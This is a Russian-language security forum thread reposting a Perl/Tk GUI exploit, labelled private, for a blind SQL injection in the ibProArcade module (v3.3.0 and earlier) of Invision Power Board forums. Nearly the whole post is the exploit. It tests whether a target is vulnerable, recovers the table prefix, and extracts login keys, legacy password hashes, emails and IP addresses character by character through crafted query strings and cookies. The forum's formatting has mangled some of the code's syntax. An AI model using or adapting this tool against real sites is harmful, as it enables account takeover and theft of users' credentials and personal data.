ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

ibProArcade <= v3.3.0 sql injection exploit
  #10  
Старый 27.10.2008, 17:15
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию ibProArcade <= v3.3.0 sql injection exploit

Автор: +toxa+

PHP код:
#!/usr/bin/perl 

## ibProArcade <= v3.3.0 sql injection exploit 
## (c)oded by 1dt.w0lf 
## RST/GHC 

##        THIS IS UNPUBLISHED RST/GHC EXPLOIT CODE 
##                   KEEP IT PRIVATE 

use Tk
use 
Tk::BrowseEntry
use 
Tk::DialogBox
use 
LWP::UserAgent

BEGIN 
if($^
O eq 'MSWin32'){ 
require 
Win32::Console
Win32::Console::Free(); 



$mw = new MainWindow(title => "r57ibProArcade" ); 

$mw->geometry '420x310' ) ; 
$mw->resizable(0,0); 

$mw->Label(-text => '!', -font => '{Webdings} 22')->pack(); 
$mw->Label(-text => 'ibProArcade sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack(); 
$mw->Label(-text => '')->pack(); 

$fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; 
$fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; 

$url 'http://127.0.0.1/ipb216/index.php'
$user_id '1'
$prefix 'ibf_'
$column 'member_login_key'
$report ''
$true 0
$false 0

$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $url) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $user_id) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $prefix) ->pack ( -side => "top" , -anchor => 'w' ) ; 

$fright->Label( -text => ' ')->pack(); 
$fleft->Label( -text => ' ')->pack(); 

$fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Label( -text => ' ')->pack(); 

$fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$b $fright->BrowseEntry( -relief => "groove", -variable => $column, -font => '{Verdana} 8'); 
$b->insert("end""member_login_key"); 
$b->insert("end""name"); 
$b->insert("end""ip_address"); 
$b->insert("end""legacy_password"); 
$b->insert("end""email"); 
$b->pack( -side => "top" , -anchor => 'w' ); 

$fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ; 
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => $report) ->pack ( -side => "top" , -anchor => 'w' ) ; 


$fright->Label( -text => ' ')->pack(); 

$fright->Button(-text    => 'Test forum vulnerability'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &test_vuln 
               
)->pack(); 

$fright->Button(-text    => 'Get database tables prefix'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &get_prefix 
               
)->pack(); 

$fright->Button(-text    => 'Get data from database'
                -
relief => "groove"
                -
width => '30'
                -
font => '{Verdana} 8 bold'
                -
activeforeground => 'red'
                -
command => &get_data 
               
)->pack(); 



$fleft->Label( -text => ' ')->pack(); 
$fleft->Label( -text => '+++ PRIV8 +++', -font => '{Verdana} 7')->pack(); 
$fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack(); 
$fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack(); 

MainLoop(); 

sub get_data() 

$true = &get_true(); 

$report '';   
$s_num=1
while((
$chr = &found(0,255))!=0){ 
$report .= chr($chr); 
$mw->update(); 
$s_num++; 

if(
length($report) > 0) { &report('That\'s all ;)'); } 
else { &
report('Can\'t get data from database'); } 



sub test_vuln() 

$InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack

$true = &get_true(); 
$false = &get_false(); 

if(
$true != $false) { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
else { 
$InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; } 

$InfoWindow->Show(); 
$InfoWindow->destroy


sub get_true() 

$xpl LWP::UserAgent->new( ) or die; 
$res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=1))"); 
if(
$res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
return 
$rep


sub get_false() 

$xpl = LWP::UserAgent->new( ) or die; 
$res = $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=,(-gid*(1=2))"); 
if(
$res->as_string =~ /g=(\d+)" target="hiddenframe"><img src=".\/arcade\/images\/addfav.gif"/) { $rep = $1; } 
return 
$rep

  
sub get_prefix() 

$InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack
$xpl LWP::UserAgent->new( ) or die; 
$res $xpl->get($url."?autocom=arcade&overwrite_sort=added&overwrite_order=r57r0x"); 
if(
$res->is_success
 { 
 
$rep ''
 if(
$res->as_string =~ /from (.*)games_list/) 
 { 
 
$prefix = $1
 
$InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack
 } 
 else 
 { 
 
$InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; } 
 } 
else 
 { 
 
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack
 
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack
 } 
$InfoWindow->Show(); 
$InfoWindow->destroy;   


sub found($$) 
 { 
 
my $fmin $_[0]; 
 
my $fmax $_[1]; 
 if ((
$fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } 
  
 
$r int($fmax - ($fmax-$fmin)/2); 
 
$check " BETWEEN $r AND $fmax"
 if ( &
check($check) ) { &found($r,$fmax); } 
 else { &
found($fmin,$r); } 
 } 
  
sub crack($$) 
 { 
 
my $cmin $_[0]; 
 
my $cmax $_[1]; 
 
$i $cmin
 while (
$i<$cmax
  { 
  
$crcheck "=$i"
  if ( &
check($crcheck) ) { return $i; } 
  
$i++; 
  } 
 
$i 0
 return 
$i
 } 
  
sub check($) 
 { 
 
$n++; 
 
$rep ''
 
$ccheck $_[0]; 
 
$xpl LWP::UserAgent->new( ) or die; 
 
$res $xpl->get($url.'?autocom=arcade',cookie=>'g_display_sort=added;g_display_order=,(-gid*(SELECT 1 FROM '.$prefix.'members WHERE (id='.$user_id.' AND ascii(substring('.$column.','.$s_num.',1))'.$cchec  k.') LIMIT 1)) LIMIT 1'); 
 if(
$res->as_string =~ /g=(d+)" target="hiddenframe"><img src="./arcade/images/addfav.gif"/) { $rep = $1; } 
 if(
$rep == $true) { return 1; } 
 else { return 0; } 
 } 
  
sub report() 

$InfoWindow=$mw->DialogBox(-title   => 'Report', -buttons => ["OK"]); 
$InfoWindow->add('Label', -text => $_[0], -font => '{Verdana} 7')->pack; 
$InfoWindow->Show(); 
$InfoWindow->destroy

PS Материал востановлен
Дата публикации: 30.01.2008, 21:01
Автор +toxa+
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[Обзор уязвимостей XMBForum] [x26]VOLAND Форумы 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ